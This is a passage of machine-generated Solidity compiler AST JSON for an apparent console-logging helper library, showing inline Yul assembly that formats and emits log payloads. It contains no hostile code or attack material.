ype":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"80772:1:22","nodeType":"YulLiteral","src":"80772:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"80775:6:22","nodeType":"YulIdentifier","src":"80775:6:22"}],"functionName":{"name":"shl","nativeSrc":"80768:3:22","nodeType":"YulIdentifier","src":"80768:3:22"},"nativeSrc":"80768:14:22","nodeType":"YulFunctionCall","src":"80768:14:22"}],"functionName":{"name":"sub","nativeSrc":"80759:3:22","nodeType":"YulIdentifier","src":"80759:3:22"},"nativeSrc":"80759:24:22","nodeType":"YulFunctionCall","src":"80759:24:22"},"variables":[{"name":"shift","nativeSrc":"80750:5:22","nodeType":"YulTypedName","src":"80750:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"80811:3:22","nodeType":"YulIdentifier","src":"80811:3:22"},{"kind":"number","nativeSrc":"80816:4:22","nodeType":"YulLiteral","src":"80816:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"80807:3:22","nodeType":"YulIdentifier","src":"80807:3:22"},"nativeSrc":"80807:14:22","nodeType":"YulFunctionCall","src":"80807:14:22"},{"arguments":[{"name":"shift","nativeSrc":"80827:5:22","nodeType":"YulIdentifier","src":"80827:5:22"},{"arguments":[{"name":"shift","nativeSrc":"80838:5:22","nodeType":"YulIdentifier","src":"80838:5:22"},{"name":"w","nativeSrc":"80845:1:22","nodeType":"YulIdentifier","src":"80845:1:22"}],"functionName":{"name":"shr","nativeSrc":"80834:3:22","nodeType":"YulIdentifier","src":"80834:3:22"},"nativeSrc":"80834:13:22","nodeType":"YulFunctionCall","src":"80834:13:22"}],"functionName":{"name":"shl","nativeSrc":"80823:3:22","nodeType":"YulIdentifier","src":"80823:3:22"},"nativeSrc":"80823:25:22","nodeType":"YulFunctionCall","src":"80823:25:22"}],"functionName":{"name":"mstore","nativeSrc":"80800:6:22","nodeType":"YulIdentifier","src":"80800:6:22"},"nativeSrc":"80800:49:22","nodeType":"YulFunctionCall","src":"80800:49:22"},"nativeSrc":"80800:49:22","nodeType":"YulExpressionStatement","src":"80800:49:22"}]},"name":"writeString","nativeSrc":"80521:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"80542:3:22","nodeType":"YulTypedName","src":"80542:3:22","type":""},{"name":"w","nativeSrc":"80547:1:22","nodeType":"YulTypedName","src":"80547:1:22","type":""}],"src":"80521:342:22"},{"nativeSrc":"80876:17:22","nodeType":"YulAssignment","src":"80876:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"80888:4:22","nodeType":"YulLiteral","src":"80888:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"80882:5:22","nodeType":"YulIdentifier","src":"80882:5:22"},"nativeSrc":"80882:11:22","nodeType":"YulFunctionCall","src":"80882:11:22"},"variableNames":[{"name":"m0","nativeSrc":"80876:2:22","nodeType":"YulIdentifier","src":"80876:2:22"}]},{"nativeSrc":"80906:17:22","nodeType":"YulAssignment","src":"80906:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"80918:4:22","nodeType":"YulLiteral","src":"80918:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"80912:5:22","nodeType":"YulIdentifier","src":"80912:5:22"},"nativeSrc":"80912:11:22","nodeType":"YulFunctionCall","src":"80912:11:22"},"variableNames":[{"name":"m1","nativeSrc":"80906:2:22","nodeType":"YulIdentifier","src":"80906:2:22"}]},{"nativeSrc":"80936:17:22","nodeType":"YulAssignment","src":"80936:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"80948:4:22","nodeType":"YulLiteral","src":"80948:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"80942:5:22","nodeType":"YulIdentifier","src":"80942:5:22"},"nativeSrc":"80942:11:22","nodeType":"YulFunctionCall","src":"80942:11:22"},"variableNames":[{"name":"m2","nativeSrc":"80936:2:22","nodeType":"YulIdentifier","src":"80936:2:22"}]},{"nativeSrc":"80966:17:22","nodeType":"YulAssignment","src":"80966:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"80978:4:22","nodeType":"YulLiteral","src":"80978:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"80972:5:22","nodeType":"YulIdentifier","src":"80972:5:22"},"nativeSrc":"80972:11:22","nodeType":"YulFunctionCall","src":"80972:11:22"},"variableNames":[{"name":"m3","nativeSrc":"80966:2:22","nodeType":"YulIdentifier","src":"80966:2:22"}]},{"nativeSrc":"80996:17:22","nodeType":"YulAssignment","src":"80996:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"81008:4:22","nodeType":"YulLiteral","src":"81008:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"81002:5:22","nodeType":"YulIdentifier","src":"81002:5:22"},"nativeSrc":"81002:11:22","nodeType":"YulFunctionCall","src":"81002:11:22"},"variableNames":[{"name":"m4","nativeSrc":"80996:2:22","nodeType":"YulIdentifier","src":"80996:2:22"}]},{"nativeSrc":"81026:17:22","nodeType":"YulAssignment","src":"81026:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"81038:4:22","nodeType":"YulLiteral","src":"81038:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"81032:5:22","nodeType":"YulIdentifier","src":"81032:5:22"},"nativeSrc":"81032:11:22","nodeType":"YulFunctionCall","src":"81032:11:22"},"variableNames":[{"name":"m5","nativeSrc":"81026:2:22","nodeType":"YulIdentifier","src":"81026:2:22"}]},{"nativeSrc":"81056:17:22","nodeType":"YulAssignment","src":"81056:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"81068:4:22","nodeType":"YulLiteral","src":"81068:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"81062:5:22","nodeType":"YulIdentifier","src":"81062:5:22"},"nativeSrc":"81062:11:22","nodeType":"YulFunctionCall","src":"81062:11:22"},"variableNames":[{"name":"m6","nativeSrc":"81056:2:22","nodeType":"YulIdentifier","src":"81056:2:22"}]},{"nativeSrc":"81086:17:22","nodeType":"YulAssignment","src":"81086:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"81098:4:22","nodeType":"YulLiteral","src":"81098:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"81092:5:22","nodeType":"YulIdentifier","src":"81092:5:22"},"nativeSrc":"81092:11:22","nodeType":"YulFunctionCall","src":"81092:11:22"},"variableNames":[{"name":"m7","nativeSrc":"81086:2:22","nodeType":"YulIdentifier","src":"81086:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81180:4:22","nodeType":"YulLiteral","src":"81180:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"81186:10:22","nodeType":"YulLiteral","src":"81186:10:22","type":"","value":"0x5821efa1"}],"functionName":{"name":"mstore","nativeSrc":"81173:6:22","nodeType":"YulIdentifier","src":"81173:6:22"},"nativeSrc":"81173:24:22","nodeType":"YulFunctionCall","src":"81173:24:22"},"nativeSrc":"81173:24:22","nodeType":"YulExpressionStatement","src":"81173:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81217:4:22","nodeType":"YulLiteral","src":"81217:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"81223:4:22","nodeType":"YulLiteral","src":"81223:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"81210:6:22","nodeType":"YulIdentifier","src":"81210:6:22"},"nativeSrc":"81210:18:22","nodeType":"YulFunctionCall","src":"81210:18:22"},"nativeSrc":"81210:18:22","nodeType":"YulExpressionStatement","src":"81210:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81248:4:22","nodeType":"YulLiteral","src":"81248:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"81254:4:22","nodeType":"YulLiteral","src":"81254:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"81241:6:22","nodeType":"YulIdentifier","src":"81241:6:22"},"nativeSrc":"81241:18:22","nodeType":"YulFunctionCall","src":"81241:18:22"},"nativeSrc":"81241:18:22","nodeType":"YulExpressionStatement","src":"81241:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81279:4:22","nodeType":"YulLiteral","src":"81279:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"81285:2:22","nodeType":"YulIdentifier","src":"81285:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81272:6:22","nodeType":"YulIdentifier","src":"81272:6:22"},"nativeSrc":"81272:16:22","nodeType":"YulFunctionCall","src":"81272:16:22"},"nativeSrc":"81272:16:22","nodeType":"YulExpressionStatement","src":"81272:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81313:4:22","nodeType":"YulLiteral","src":"81313:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"81319:2:22","nodeType":"YulIdentifier","src":"81319:2:22"}],"functionName":{"name":"writeString","nativeSrc":"81301:11:22","nodeType":"YulIdentifier","src":"81301:11:22"},"nativeSrc":"81301:21:22","nodeType":"YulFunctionCall","src":"81301:21:22"},"nativeSrc":"81301:21:22","nodeType":"YulExpressionStatement","src":"81301:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81347:4:22","nodeType":"YulLiteral","src":"81347:4:22","type":"","value":"0xc0"},{"name":"p1","nativeSrc":"81353:2:22","nodeType":"YulIdentifier","src":"81353:2:22"}],"functionName":{"name":"writeString","nativeSrc":"81335:11:22","nodeType":"YulIdentifier","src":"81335:11:22"},"nativeSrc":"81335:21:22","nodeType":"YulFunctionCall","src":"81335:21:22"},"nativeSrc":"81335:21:22","nodeType":"YulExpressionStatement","src":"81335:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36268,"isOffset":false,"isSlot":false,"src":"80876:2:22","valueSize":1},{"declaration":36271,"isOffset":false,"isSlot":false,"src":"80906:2:22","valueSize":1},{"declaration":36274,"isOffset":false,"isSlot":false,"src":"80936:2:22","valueSize":1},{"declaration":36277,"isOffset":false,"isSlot":false,"src":"80966:2:22","valueSize":1},{"declaration":36280,"isOffset":false,"isSlot":false,"src":"80996:2:22","valueSize":1},{"declaration":36283,"isOffset":false,"isSlot":false,"src":"81026:2:22","valueSize":1},{"declaration":36286,"isOffset":false,"isSlot":false,"src":"81056:2:22","valueSize":1},{"declaration":36289,"isOffset":false,"isSlot":false,"src":"81086:2:22","valueSize":1},{"declaration":36260,"isOffset":false,"isSlot":false,"src":"81319:2:22","valueSize":1},{"declaration":36262,"isOffset":false,"isSlot":false,"src":"81353:2:22","valueSize":1},{"declaration":36264,"isOffset":false,"isSlot":false,"src":"81285:2:22","valueSize":1}],"id":36291,"nodeType":"InlineAssembly","src":"80498:868:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36293,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"81391:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":36294,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"81397:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":36292,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"81375:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"81375:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36296,"nodeType":"ExpressionStatement","src":"81375:27:22"},{"AST":{"nativeSrc":"81421:243:22","nodeType":"YulBlock","src":"81421:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"81442:4:22","nodeType":"YulLiteral","src":"81442:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"81448:2:22","nodeType":"YulIdentifier","src":"81448:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81435:6:22","nodeType":"YulIdentifier","src":"81435:6:22"},"nativeSrc":"81435:16:22","nodeType":"YulFunctionCall","src":"81435:16:22"},"nativeSrc":"81435:16:22","nodeType":"YulExpressionStatement","src":"81435:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81471:4:22","nodeType":"YulLiteral","src":"81471:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"81477:2:22","nodeType":"YulIdentifier","src":"81477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81464:6:22","nodeType":"YulIdentifier","src":"81464:6:22"},"nativeSrc":"81464:16:22","nodeType":"YulFunctionCall","src":"81464:16:22"},"nativeSrc":"81464:16:22","nodeType":"YulExpressionStatement","src":"81464:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81500:4:22","nodeType":"YulLiteral","src":"81500:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"81506:2:22","nodeType":"YulIdentifier","src":"81506:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81493:6:22","nodeType":"YulIdentifier","src":"81493:6:22"},"nativeSrc":"81493:16:22","nodeType":"YulFunctionCall","src":"81493:16:22"},"nativeSrc":"81493:16:22","nodeType":"YulExpressionStatement","src":"81493:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81529:4:22","nodeType":"YulLiteral","src":"81529:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"81535:2:22","nodeType":"YulIdentifier","src":"81535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81522:6:22","nodeType":"YulIdentifier","src":"81522:6:22"},"nativeSrc":"81522:16:22","nodeType":"YulFunctionCall","src":"81522:16:22"},"nativeSrc":"81522:16:22","nodeType":"YulExpressionStatement","src":"81522:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81558:4:22","nodeType":"YulLiteral","src":"81558:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"81564:2:22","nodeType":"YulIdentifier","src":"81564:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81551:6:22","nodeType":"YulIdentifier","src":"81551:6:22"},"nativeSrc":"81551:16:22","nodeType":"YulFunctionCall","src":"81551:16:22"},"nativeSrc":"81551:16:22","nodeType":"YulExpressionStatement","src":"81551:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81587:4:22","nodeType":"YulLiteral","src":"81587:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"81593:2:22","nodeType":"YulIdentifier","src":"81593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81580:6:22","nodeType":"YulIdentifier","src":"81580:6:22"},"nativeSrc":"81580:16:22","nodeType":"YulFunctionCall","src":"81580:16:22"},"nativeSrc":"81580:16:22","nodeType":"YulExpressionStatement","src":"81580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81616:4:22","nodeType":"YulLiteral","src":"81616:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"81622:2:22","nodeType":"YulIdentifier","src":"81622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81609:6:22","nodeType":"YulIdentifier","src":"81609:6:22"},"nativeSrc":"81609:16:22","nodeType":"YulFunctionCall","src":"81609:16:22"},"nativeSrc":"81609:16:22","nodeType":"YulExpressionStatement","src":"81609:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"81645:4:22","nodeType":"YulLiteral","src":"81645:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"81651:2:22","nodeType":"YulIdentifier","src":"81651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"81638:6:22","nodeType":"YulIdentifier","src":"81638:6:22"},"nativeSrc":"81638:16:22","nodeType":"YulFunctionCall","src":"81638:16:22"},"nativeSrc":"81638:16:22","nodeType":"YulExpressionStatement","src":"81638:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36268,"isOffset":false,"isSlot":false,"src":"81448:2:22","valueSize":1},{"declaration":36271,"isOffset":false,"isSlot":false,"src":"81477:2:22","valueSize":1},{"declaration":36274,"isOffset":false,"isSlot":false,"src":"81506:2:22","valueSize":1},{"declaration":36277,"isOffset":false,"isSlot":false,"src":"81535:2:22","valueSize":1},{"declaration":36280,"isOffset":false,"isSlot":false,"src":"81564:2:22","valueSize":1},{"declaration":36283,"isOffset":false,"isSlot":false,"src":"81593:2:22","valueSize":1},{"declaration":36286,"isOffset":false,"isSlot":false,"src":"81622:2:22","valueSize":1},{"declaration":36289,"isOffset":false,"isSlot":false,"src":"81651:2:22","valueSize":1}],"id":36297,"nodeType":"InlineAssembly","src":"81412:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"80274:3:22","parameters":{"id":36265,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36260,"mutability":"mutable","name":"p0","nameLocation":"80286:2:22","nodeType":"VariableDeclaration","scope":36299,"src":"80278:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36259,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80278:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36262,"mutability":"mutable","name":"p1","nameLocation":"80298:2:22","nodeType":"VariableDeclaration","scope":36299,"src":"80290:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36261,"name":"bytes32","nodeType":"ElementaryTypeName","src":"80290:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36264,"mutability":"mutable","name":"p2","nameLocation":"80310:2:22","nodeType":"VariableDeclaration","scope":36299,"src":"80302:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36263,"name":"uint256","nodeType":"ElementaryTypeName","src":"80302:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"80277:36:22"},"returnParameters":{"id":36266,"nodeType":"ParameterList","parameters":[],"src":"80328:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36346,"nodeType":"FunctionDefinition","src":"81676:1604:22","nodes":[],"body":{"id":36345,"nodeType":"Block","src":"81739:1541:22","nodes":[],"statements":[{"assignments":[36309],"declarations":[{"constant":false,"id":36309,"mutability":"mutable","name":"m0","nameLocation":"81757:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81749:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36308,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81749:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36310,"nodeType":"VariableDeclarationStatement","src":"81749:10:22"},{"assignments":[36312],"declarations":[{"constant":false,"id":36312,"mutability":"mutable","name":"m1","nameLocation":"81777:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81769:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36311,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81769:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36313,"nodeType":"VariableDeclarationStatement","src":"81769:10:22"},{"assignments":[36315],"declarations":[{"constant":false,"id":36315,"mutability":"mutable","name":"m2","nameLocation":"81797:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81789:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36314,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81789:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36316,"nodeType":"VariableDeclarationStatement","src":"81789:10:22"},{"assignments":[36318],"declarations":[{"constant":false,"id":36318,"mutability":"mutable","name":"m3","nameLocation":"81817:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81809:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36317,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81809:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36319,"nodeType":"VariableDeclarationStatement","src":"81809:10:22"},{"assignments":[36321],"declarations":[{"constant":false,"id":36321,"mutability":"mutable","name":"m4","nameLocation":"81837:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81829:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36320,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81829:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36322,"nodeType":"VariableDeclarationStatement","src":"81829:10:22"},{"assignments":[36324],"declarations":[{"constant":false,"id":36324,"mutability":"mutable","name":"m5","nameLocation":"81857:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81849:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36323,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81849:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36325,"nodeType":"VariableDeclarationStatement","src":"81849:10:22"},{"assignments":[36327],"declarations":[{"constant":false,"id":36327,"mutability":"mutable","name":"m6","nameLocation":"81877:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81869:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36326,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81869:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36328,"nodeType":"VariableDeclarationStatement","src":"81869:10:22"},{"assignments":[36330],"declarations":[{"constant":false,"id":36330,"mutability":"mutable","name":"m7","nameLocation":"81897:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81889:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36329,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81889:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36331,"nodeType":"VariableDeclarationStatement","src":"81889:10:22"},{"assignments":[36333],"declarations":[{"constant":false,"id":36333,"mutability":"mutable","name":"m8","nameLocation":"81917:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81909:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36332,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81909:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36334,"nodeType":"VariableDeclarationStatement","src":"81909:10:22"},{"assignments":[36336],"declarations":[{"constant":false,"id":36336,"mutability":"mutable","name":"m9","nameLocation":"81937:2:22","nodeType":"VariableDeclaration","scope":36345,"src":"81929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36335,"name":"bytes32","nodeType":"ElementaryTypeName","src":"81929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36337,"nodeType":"VariableDeclarationStatement","src":"81929:10:22"},{"AST":{"nativeSrc":"81958:957:22","nodeType":"YulBlock","src":"81958:957:22","statements":[{"body":{"nativeSrc":"82001:313:22","nodeType":"YulBlock","src":"82001:313:22","statements":[{"nativeSrc":"82019:15:22","nodeType":"YulVariableDeclaration","src":"82019:15:22","value":{"kind":"number","nativeSrc":"82033:1:22","nodeType":"YulLiteral","src":"82033:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"82023:6:22","nodeType":"YulTypedName","src":"82023:6:22","type":""}]},{"body":{"nativeSrc":"82104:40:22","nodeType":"YulBlock","src":"82104:40:22","statements":[{"body":{"nativeSrc":"82133:9:22","nodeType":"YulBlock","src":"82133:9:22","statements":[{"nativeSrc":"82135:5:22","nodeType":"YulBreak","src":"82135:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"82121:6:22","nodeType":"YulIdentifier","src":"82121:6:22"},{"name":"w","nativeSrc":"82129:1:22","nodeType":"YulIdentifier","src":"82129:1:22"}],"functionName":{"name":"byte","nativeSrc":"82116:4:22","nodeType":"YulIdentifier","src":"82116:4:22"},"nativeSrc":"82116:15:22","nodeType":"YulFunctionCall","src":"82116:15:22"}],"functionName":{"name":"iszero","nativeSrc":"82109:6:22","nodeType":"YulIdentifier","src":"82109:6:22"},"nativeSrc":"82109:23:22","nodeType":"YulFunctionCall","src":"82109:23:22"},"nativeSrc":"82106:36:22","nodeType":"YulIf","src":"82106:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"82061:6:22","nodeType":"YulIdentifier","src":"82061:6:22"},{"kind":"number","nativeSrc":"82069:4:22","nodeType":"YulLiteral","src":"82069:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"82058:2:22","nodeType":"YulIdentifier","src":"82058:2:22"},"nativeSrc":"82058:16:22","nodeType":"YulFunctionCall","src":"82058:16:22"},"nativeSrc":"82051:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"82075:28:22","nodeType":"YulBlock","src":"82075:28:22","statements":[{"nativeSrc":"82077:24:22","nodeType":"YulAssignment","src":"82077:24:22","value":{"arguments":[{"name":"length","nativeSrc":"82091:6:22","nodeType":"YulIdentifier","src":"82091:6:22"},{"kind":"number","nativeSrc":"82099:1:22","nodeType":"YulLiteral","src":"82099:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"82087:3:22","nodeType":"YulIdentifier","src":"82087:3:22"},"nativeSrc":"82087:14:22","nodeType":"YulFunctionCall","src":"82087:14:22"},"variableNames":[{"name":"length","nativeSrc":"82077:6:22","nodeType":"YulIdentifier","src":"82077:6:22"}]}]},"pre":{"nativeSrc":"82055:2:22","nodeType":"YulBlock","src":"82055:2:22","statements":[]},"src":"82051:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"82168:3:22","nodeType":"YulIdentifier","src":"82168:3:22"},{"name":"length","nativeSrc":"82173:6:22","nodeType":"YulIdentifier","src":"82173:6:22"}],"functionName":{"name":"mstore","nativeSrc":"82161:6:22","nodeType":"YulIdentifier","src":"82161:6:22"},"nativeSrc":"82161:19:22","nodeType":"YulFunctionCall","src":"82161:19:22"},"nativeSrc":"82161:19:22","nodeType":"YulExpressionStatement","src":"82161:19:22"},{"nativeSrc":"82197:37:22","nodeType":"YulVariableDeclaration","src":"82197:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"82214:3:22","nodeType":"YulLiteral","src":"82214:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"82223:1:22","nodeType":"YulLiteral","src":"82223:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"82226:6:22","nodeType":"YulIdentifier","src":"82226:6:22"}],"functionName":{"name":"shl","nativeSrc":"82219:3:22","nodeType":"YulIdentifier","src":"82219:3:22"},"nativeSrc":"82219:14:22","nodeType":"YulFunctionCall","src":"82219:14:22"}],"functionName":{"name":"sub","nativeSrc":"82210:3:22","nodeType":"YulIdentifier","src":"82210:3:22"},"nativeSrc":"82210:24:22","nodeType":"YulFunctionCall","src":"82210:24:22"},"variables":[{"name":"shift","nativeSrc":"82201:5:22","nodeType":"YulTypedName","src":"82201:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"82262:3:22","nodeType":"YulIdentifier","src":"82262:3:22"},{"kind":"number","nativeSrc":"82267:4:22","nodeType":"YulLiteral","src":"82267:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"82258:3:22","nodeType":"YulIdentifier","src":"82258:3:22"},"nativeSrc":"82258:14:22","nodeType":"YulFunctionCall","src":"82258:14:22"},{"arguments":[{"name":"shift","nativeSrc":"82278:5:22","nodeType":"YulIdentifier","src":"82278:5:22"},{"arguments":[{"name":"shift","nativeSrc":"82289:5:22","nodeType":"YulIdentifier","src":"82289:5:22"},{"name":"w","nativeSrc":"82296:1:22","nodeType":"YulIdentifier","src":"82296:1:22"}],"functionName":{"name":"shr","nativeSrc":"82285:3:22","nodeType":"YulIdentifier","src":"82285:3:22"},"nativeSrc":"82285:13:22","nodeType":"YulFunctionCall","src":"82285:13:22"}],"functionName":{"name":"shl","nativeSrc":"82274:3:22","nodeType":"YulIdentifier","src":"82274:3:22"},"nativeSrc":"82274:25:22","nodeType":"YulFunctionCall","src":"82274:25:22"}],"functionName":{"name":"mstore","nativeSrc":"82251:6:22